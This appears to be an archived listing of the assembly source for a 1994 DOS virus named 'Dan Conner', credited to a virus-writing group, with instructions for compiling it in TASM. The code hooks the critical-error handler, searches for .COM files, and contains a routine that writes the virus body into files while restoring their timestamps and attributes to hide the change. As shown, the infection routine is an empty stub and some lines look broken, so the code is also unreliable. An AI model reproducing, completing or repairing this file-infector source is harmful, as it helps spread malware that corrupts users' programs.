home *** CD-ROM | disk | FTP | other *** search
- ; Dan Conner written by MuTaTiON INTERRUPT
-
- ; To compile this use TASM /M dan.asm
-
- ;---------
-
-
-
-
-
- code segment public 'code'
-
- assume cs:code
-
- org 100h ; All .COM files start here
-
-
-
- start:
-
- db 0e9h,0,0 ; Jump to the next command
-
-
-
- virus:
-
- mov ax,3524h ; Get int 24 handler
-
- int 21h ; To ES:BX
-
- mov word ptr [oldint24],bx ; Save it
-
- mov word ptr [oldint24+2],es
-
-
-
- mov ah,25h ; Set new int 24 handler
-
- mov dx,offset int24 ; DS:DX->new handler
-
- int 21h
-
-
-
- push cs ; Restore ES
-
- pop es ; 'cuz it was changed
-
-
-
- mov dx,offset comfilespec
-
- call findfirst
-
-
-
- mov ah,9 ; Display string
-
- mov dx,offset virusname
-
- int 21h
-
-
-
- mov ax,2524h ; Restore int 24 handler
-
- mov dx,offset oldint24 ; To original
-
- int 21h
-
-
-
- push cs
-
- pop ds ; Do this because the DS gets changed
-
-
-
- int 20h ; quit program
-
-
-
- findfirst:
-
- mov ah,4eh ; Find first file
-
- mov cx,7 ; Find all attributes
-
-
-
- findnext:
-
- int 21h ; Find first/next file int
-
- jc quit ; If none found then change dir
-
-
-
- call infection ; Infect that file
-
-
-
- mov ah,4fh ; Find next file
-
- jmp findnext ; Jump to the loop
-
-
-
- quit:
-
- ret
-
-
-
- infection:
-
- quitinfect:
-
- ret
-
-
-
- FinishInfection:
-
- xor cx,cx ; Set attriutes to none
-
- call attributes
-
-
-
- mov al,2 ; open file read/write
-
- call open
-
-
-
- mov ah,40h ; Write virus to file
-
- mov cx,eof-virus ; Size of virus
-
- mov dx,100
-
- int 21h
-
-
-
- closefile:
-
- mov ax,5701h ; Set files date/time back
-
- push bx
-
- mov cx,word ptr [bx]+16h ; Get old time from dta
-
- mov dx,word ptr [bx]+18h ; Get old date
-
- pop bx
-
- int 21h
-
-
-
- mov ah,3eh ; Close file
-
- int 21h
-
-
-
- xor cx,cx
-
- mov bx,80h
-
- mov cl,byte ptr [bx]+15h ; Get old Attributes
-
- call attributes
-
-
-
- retn
-
-
-
- open:
-
- mov ah,3dh ; open file
-
- mov dx,80h+30
-
- int 21h
-
- xchg ax,bx ; file handle in bx
-
- ret
-
-
-
- attributes:
-
- mov ax,4301h ; Set attributes to cx
-
- mov dx,80h+30
-
- int 21h
-
- ret
-
- int24: ; New int 24h (error) handler
-
- mov al,3 ; Fail call
-
- iret ; Return from int 24 call
-
-
-
- Virusname db 'Dan Conner - Anything You Say Dear...',10,13
-
- Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
-
- Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
-
- db 'Hey: I LOVE ROSEANNE!','$'
-
-
-
- comfilespec db '*.com',0 ; Holds type of file to look for
-
-
-
- eof equ $ ; Marks the end of file
-
-
-
- oldint24 dd ? ; Storage for old int 24h handler
-
-
-
- code ends
-
- end start
-
-
-
-